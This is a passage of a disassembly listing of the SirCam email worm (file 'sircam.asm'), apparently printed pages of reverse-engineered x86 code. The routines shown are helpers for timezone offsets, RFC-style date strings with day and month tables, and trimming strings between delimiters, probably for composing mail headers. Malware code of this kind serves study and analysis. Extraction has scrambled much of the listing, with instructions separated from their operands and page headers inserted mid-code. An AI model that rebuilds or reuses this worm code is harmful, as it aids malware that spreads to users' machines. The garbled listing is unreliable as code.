dword ptr -4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFF40h
push
ebx
push
esi
push
edi
xor
edx, edx
mov
[ebp+var_B0], edx
mov
esi, eax
xor
eax, eax
push
ebp
push
offset loc_410FF1
push
dword ptr fs:[eax]
mov
fs:[eax], esp
lea
eax, [ebp+var_AC]
push
eax
call
j_GetTimeZoneInformation
dec
eax
jz
short loc_410F45
dec
eax
jnz
short loc_410F50
mov
ebx, [ebp+var_AC]
add
ebx, [ebp+var_4]
jmp
short loc_410F56
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410F45:
; CODE XREF: sub_410F04+31\030j
mov
ebx, [ebp+var_AC]
add
ebx, [ebp+var_58]
jmp
short loc_410F56
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410F50:
mov
; CODE XREF: sub_410F04+34\030j
ebx, [ebp+var_AC]
loc_410F56:
; CODE XREF: sub_410F04+3F\030j
; sub_410F04+4A\030j
test
ebx, ebx
jg
short loc_410F68
mov
eax, esi
mov
edx, offset dword_411008
call
sub_40351C
jmp
short loc_410F74
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410F68:
mov
mov
call
; CODE XREF: sub_410F04+54\030j
eax, esi
edx, offset dword_411014
sub_40351C
loc_410F74:
; CODE XREF: sub_410F04+62\030j
mov
cdq
xor
eax, ebx
eax, edx
sircam.asm
Fri Aug 10 12:42:44 2001
sub
mov
mov
mov
cdq
idiv
mov
mov
mov
cdq
idiv
mov
lea
push
mov
mov
mov
mov
lea
mov
mov
call
mov
mov
call
xor
pop
pop
pop
mov
push
loc_410FE5:
sub_410F04
eax,
ebx,
eax,
ecx,
471
edx
eax
ebx
3Ch
ecx
edi, eax
eax, ebx
ecx, 3Ch
ecx
ebx, edx
eax, [ebp+var_B0]
eax
[ebp+var_C0], edi
[ebp+var_BC], 0
[ebp+var_B8], ebx
[ebp+var_B4], 0
edx, [ebp+var_C0]
ecx, 1
eax, offset dword_411020
sub_407B2C
edx, [ebp+var_B0]
eax, esi
sub_40372C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_410FF8
; CODE XREF: CODE:00410FF6\031j
lea
eax, [ebp+var_B0]
call
sub_4034C8
retn
endp ; sp = -0D4h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410FF1:
; DATA XREF: sub_410F04+19\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_410FE5
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_410FF8:
; DATA XREF: sub_410F04+DC\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_411008
dd 2Bh, 0FFFFFFFFh, 1
; DATA XREF: sub_410F04+58\030o
dword_411014
dd 2Dh, 0FFFFFFFFh, 8
; DATA XREF: sub_410F04+66\030o
dword_411020
dd 2 dup(64322E25h), 0, 0FFFFFFFFh, 3 ; DATA XREF: sub_410F04+BD\030o
dword_411034
dd 6E7553h, 0FFFFFFFFh, 3, 6E6F4Dh, 0FFFFFFFFh, 3, 657554h
; DATA XREF: DATA:0041D720\031o
; DATA:0041D724\031o
dd 0FFFFFFFFh, 3, 646557h, 0FFFFFFFFh, 3, 756854h, 0FFFFFFFFh
dd 3, 697246h, 0FFFFFFFFh, 3, 746153h, 0FFFFFFFFh, 3
dword_411088
dd 6E614Ah, 0FFFFFFFFh, 3, 626546h, 0FFFFFFFFh, 3, 72614Dh
; DATA XREF: DATA:0041D73C\031o
; DATA:0041D740\031o
dd 0FFFFFFFFh, 3, 727041h, 0FFFFFFFFh, 3, 79614Dh, 0FFFFFFFFh
dd 3, 6E754Ah, 0FFFFFFFFh, 3, 6C754Ah, 0FFFFFFFFh, 3, 677541h
dd 0FFFFFFFFh, 3, 706553h, 0FFFFFFFFh, 3, 74634Fh, 0FFFFFFFFh
sircam.asm
Fri Aug 10 12:42:44 2001
472
dd 3, 766F4Eh, 0FFFFFFFFh, 3, 636544h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_411110
proc near
var_5C
var_58
var_28
var_C
var_8
var_4
arg_0
arg_4
=
=
=
=
=
=
=
=
; CODE XREF: sub_412A08+5E\031p
dword ptr -5Ch
byte ptr -58h
byte ptr -28h
dword ptr -0Ch
dword ptr -8
dword ptr -4
dword ptr 8
dword ptr 0Ch
push
ebp
mov
ebp, esp
add
esp, 0FFFFFFA4h
push
ebx
push
esi
push
edi
xor
edx, edx
mov
[ebp+var_5C], edx
mov
[ebp+var_4], eax
mov
ecx, 7
lea
eax, [ebp+var_28]
mov
edx, ds:off_401000
call
sub_403B1C
mov
ecx, 0Ch
lea
eax, [ebp+var_58]
mov
edx, ds:off_401000
call
sub_403B1C
xor
eax, eax
push
ebp
push
offset loc_4112A2
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
eax, ds:off_41DB38
mov
eax, [eax]
mov
edx, ds:off_41D720
call
sub_403834
jnz
short loc_411181
push
[ebp+arg_4]
push
[ebp+arg_0]
mov
edx, [ebp+var_4]
mov
eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss"
call
sub_408C8C
jmp
loc_411244
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411181:
mov
mov
lea
mov
mov
; CODE XREF: sub_411110+57\030j
ebx, 7
esi, ds:off_41DB38
edi, [ebp+var_28]
eax, offset off_41D720
[ebp+var_8], eax
mov
mov
call
mov
mov
mov
call
add
add
add
eax, edi
edx, [esi]
sub_40351C
eax, esi
edx, [ebp+var_8]
edx, [edx]
sub_40351C
[ebp+var_8], 4
edi, 4
esi, 4
loc_411197:
; CODE XREF: sub_411110+A7\031j
sircam.asm
Fri Aug 10 12:42:44 2001
473
dec
jnz
mov
mov
lea
mov
mov
ebx
short loc_411197
ebx, 0Ch
esi, ds:off_41DB5C
edi, [ebp+var_58]
eax, offset off_41D73C
[ebp+var_C], eax
mov
mov
call
mov
mov
mov
call
add
add
add
dec
jnz
push
push
mov
mov
call
mov
lea
mov
; CODE XREF: sub_411110+DF\031j
eax, edi
edx, [esi]
sub_40351C
eax, esi
edx, [ebp+var_C]
edx, [edx]
sub_40351C
[ebp+var_C], 4
edi, 4
esi, 4
ebx
short loc_4111CF
[ebp+arg_4]
[ebp+arg_0]
edx, [ebp+var_4]
eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss"
sub_408C8C
ebx, 7
esi, [ebp+var_28]
edi, ds:off_41DB38
mov
mov
call
add
add
dec
jnz
mov
lea
mov
; CODE XREF: sub_411110+112\031j
eax, edi
edx, [esi]
sub_40351C
edi, 4
esi, 4
ebx
short loc_411212
ebx, 0Ch
esi, [ebp+var_58]
edi, ds:off_41DB5C
mov
mov
call
add
add
dec
jnz
eax, edi
edx, [esi]
sub_40351C
edi, 4
esi, 4
ebx
short loc_411232
mov
push
push
lea
call
push
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_411110+6C\030j
eax, [ebp+var_4]
dword ptr [eax]
offset dword_4112E0
eax, [ebp+var_5C]
sub_410F04
[ebp+var_5C]
eax, [ebp+var_4]
edx, 3
sub_4037E4
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4112A9
lea
; CODE XREF: CODE:004112A7\031j
eax, [ebp+var_5C]
loc_4111CF:
loc_411212:
loc_411232:
; CODE XREF: sub_411110+132\031j
loc_411244:
loc_411273:
sircam.asm
Fri Aug 10 12:42:44 2001
sub_411110
call
sub_4034C8
lea
eax, [ebp+var_58]
mov
ecx, 0Ch
mov
edx, ds:off_401000
call
sub_403BE8
lea
eax, [ebp+var_28]
mov
ecx, 7
mov
edx, ds:off_401000
call
sub_403BE8
retn
endp ; sp = -7Ch
474
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4112A2:
; DATA XREF: sub_411110+3A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411273
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4112A9:
; DATA XREF: sub_411110+15E\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 18h
aDddDMmmYyyyHhM db ’ddd, d mmm yyyy hh:mm:ss’,0 ; DATA XREF: sub_411110+62\030o
; sub_411110+EA\030o
align 4
dd 0FFFFFFFFh, 1
dword_4112E0
dd 20h
; DATA XREF: sub_411110+139\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4112E4
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
xor
mov
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
mov
call
mov
; CODE XREF: sub_41140C+40\031p
; sub_4114A8+64\031p ...
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
ebx, ebx
[ebp+var_C], ebx
esi, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_41136E
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, [ebp+var_8]
sub_4039B4
ebx, eax
sircam.asm
Fri Aug 10 12:42:44 2001
475
cmp
ebx, 1
jge
short loc_411335
mov
edx, esi
mov
eax, [ebp+var_4]
call
sub_406E9C
jmp
short loc_411353
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411335:
; CODE XREF: sub_4112E4+43\030j
lea
push
mov
dec
mov
mov
call
mov
mov
call
eax, [ebp+var_C]
eax
ecx, ebx
ecx
edx, 1
eax, [ebp+var_4]
sub_40392C
eax, [ebp+var_C]
edx, esi
sub_406E9C
xor
pop
pop
pop
mov
push
; CODE XREF: sub_4112E4+4F\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411375
loc_411353:
loc_411360:
sub_4112E4
; CODE XREF: CODE:00411373\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41136E:
; DATA XREF: sub_4112E4+28\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411360
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411375:
; DATA XREF: sub_4112E4+77\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41137C
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
mov
add
push
push
xor
mov
ebp
ebp, esp
esp, 0FFFFFFF4h
ebx
esi
ebx, ebx
[ebp+var_C], ebx
; CODE XREF: sub_41140C+30\031p
; sub_4114A8+47\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
mov
mov
call
mov
call
xor
push
push
push
mov
mov
mov
call
mov
lea
push
mov
call
mov
sub
lea
mov
call
mov
mov
call
xor
pop
pop
pop
mov
push
esi, ecx
[ebp+var_8], edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, [ebp+var_8]
sub_4038D8
eax, eax
ebp
offset loc_4113FC
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, [ebp+var_8]
sub_4039B4
ebx, eax
eax, [ebp+var_C]
eax
eax, [ebp+var_4]
sub_403724
ecx, eax
ecx, ebx
edx, [ebx+1]
eax, [ebp+var_4]
sub_40392C
eax, [ebp+var_C]
edx, esi
sub_406E9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411403
loc_4113EE:
sub_41137C
476
; CODE XREF: CODE:00411401\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -1Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4113FC:
; DATA XREF: sub_41137C+28\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4113EE
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411403:
; DATA XREF: sub_41137C+6D\030o
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_41140C
proc near
var_C
var_8
var_4
= dword ptr -0Ch
= dword ptr -8
= dword ptr -4
push
ebp
; CODE XREF: sub_4122C8+36\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
push
push
push
push
mov
mov
mov
call
xor
push
push
push
mov
lea
mov
mov
call
lea
mov
mov
call
mov
lea
call
mov
mov
call
xor
pop
pop
pop
mov
push
ebp, esp
0
0
0
ebx
ebx, edx
[ebp+var_4], eax
eax, [ebp+var_4]
sub_4038D8
eax, eax
ebp
offset loc_411481
dword ptr fs:[eax]
fs:[eax], esp
ecx, [ebp+var_8]
edx, offset dword_411498
eax, [ebp+var_4]
sub_41137C
ecx, [ebp+var_C]
edx, offset dword_4114A4
eax, [ebp+var_8]
sub_4112E4
edx, [ebp+var_C]
eax, [ebp+var_8]
sub_403560
edx, ebx
eax, [ebp+var_8]
sub_406E9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411488
loc_411473:
sub_41140C
477
; CODE XREF: CODE:00411486\031j
lea
eax, [ebp+var_C]
mov
edx, 3
call
sub_4034EC
retn
endp ; sp = -18h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411481:
; DATA XREF: sub_41140C+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411473
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411488:
; DATA XREF: sub_41140C+62\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_411498
dd 3Ch, 0FFFFFFFFh, 1
; DATA XREF: sub_41140C+28\030o
dword_4114A4
dd 3Eh
; DATA XREF: sub_41140C+38\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4114A8
proc near
var_14
var_10
var_C
= dword ptr -14h
= dword ptr -10h
= dword ptr -0Ch
; CODE XREF: sub_4122C8+2B\031p
sircam.asm
var_8
var_4
Fri Aug 10 12:42:44 2001
478
= dword ptr -8
= dword ptr -4
push
ebp
mov
ebp, esp
xor
ecx, ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ebx
mov
ebx, edx
mov
[ebp+var_4], eax
mov
eax, [ebp+var_4]
call
sub_4038D8
xor
eax, eax
push
ebp
push
offset loc_4115A2
push
dword ptr fs:[eax]
mov
fs:[eax], esp
lea
edx, [ebp+var_C]
mov
eax, [ebp+var_4]
call
sub_406E9C
mov
edx, [ebp+var_C]
lea
eax, [ebp+var_4]
call
sub_403560
lea
ecx, [ebp+var_8]
mov
edx, offset dword_4115B8
mov
eax, [ebp+var_4]
call
sub_41137C
mov
eax, [ebp+var_8]
mov
edx, [ebp+var_4]
call
sub_403834
jz
short loc_41151E
lea
ecx, [ebp+var_10]
mov
edx, offset dword_4115B8
mov
eax, [ebp+var_8]
call
sub_4112E4
mov
edx, [ebp+var_10]
lea
eax, [ebp+var_8]
call
sub_403560
jmp
short loc_41157D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_41151E:
; CODE XREF: sub_4114A8+57\030j
lea
ecx, [ebp+var_8]
mov
edx, offset dword_4115C4
mov
eax, [ebp+var_4]
call
sub_41137C
mov
eax, [ebp+var_8]
mov
edx, [ebp+var_4]
call
sub_403834
jz
short loc_411558
lea
ecx, [ebp+var_14]
mov
edx, offset dword_4115D0
mov
eax, [ebp+var_8]
call
sub_4112E4
mov
edx, [ebp+var_14]
lea
eax, [ebp+var_8]
call
sub_403560
jmp
short loc_41157D
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411558:
lea
mov
mov
call
mov
; CODE XREF: sub_4114A8+91\030j
ecx, [ebp+var_8]
edx, offset dword_4115DC
eax, [ebp+var_4]
sub_4112E4
eax, [ebp+var_8]
sircam.asm
Fri Aug 10 12:42:44 2001
mov
call
jnz
lea
call
edx, [ebp+var_4]
sub_403834
short loc_41157D
eax, [ebp+var_8]
sub_4034C8
loc_41157D:
; CODE XREF: sub_4114A8+74\030j
; sub_4114A8+AE\030j ...
mov
mov
call
xor
pop
pop
pop
mov
push
loc_411594:
sub_4114A8
479
edx, ebx
eax, [ebp+var_8]
sub_406E9C
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4115A9
; CODE XREF: CODE:004115A7\031j
lea
eax, [ebp+var_14]
mov
edx, 5
call
sub_4034EC
retn
endp ; sp = -20h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4115A2:
; DATA XREF: sub_4114A8+1B\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_411594
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4115A9:
; DATA XREF: sub_4114A8+E7\030o
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_4115B8
dd 22h, 0FFFFFFFFh, 1
; DATA XREF: sub_4114A8+3F\030o
; sub_4114A8+5C\030o
dword_4115C4
dd 28h, 0FFFFFFFFh, 1
; DATA XREF: sub_4114A8+79\030o
dword_4115D0
dd 29h, 0FFFFFFFFh, 1
; DATA XREF: sub_4114A8+96\030o
dword_4115DC
dd 3Ch
; DATA XREF: sub_4114A8+B3\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_4115E0
proc near
; DATA XREF: CODE:0041A970\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_411631
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E664
jnz
short loc_411623
mov
eax, offset off_41D73C
mov
ecx, 0Ch
mov
edx, ds:off_401000
call
sub_403BE8
mov
eax, offset off_41D720
mov
ecx, 7
mov
edx, ds:off_401000
call
sub_403BE8
sircam.asm
Fri Aug 10 12:42:44 2001
loc_411623:
xor
pop
pop
pop
mov
push
480
; CODE XREF: sub_4115E0+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_411638
locret_411630:
; CODE XREF: sub_4115E0+56\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411631:
; DATA XREF: sub_4115E0+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_411630
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_411638:
sub_4115E0
; CODE XREF: sub_4115E0+50\030j
; DATA XREF: sub_4115E0+4B\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_41163C:
; DATA XREF: CODE:0041A96C\031o
sub
ds:dword_41E664, 1
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
off_411644
dd offset dword_411690 ; DATA XREF: sub_412604+5\031r
; sub_412844+AD\031r
dd 2 dup(0)
dd offset dword_411690
dd 4 dup(0)
dd offset dword_4116D2
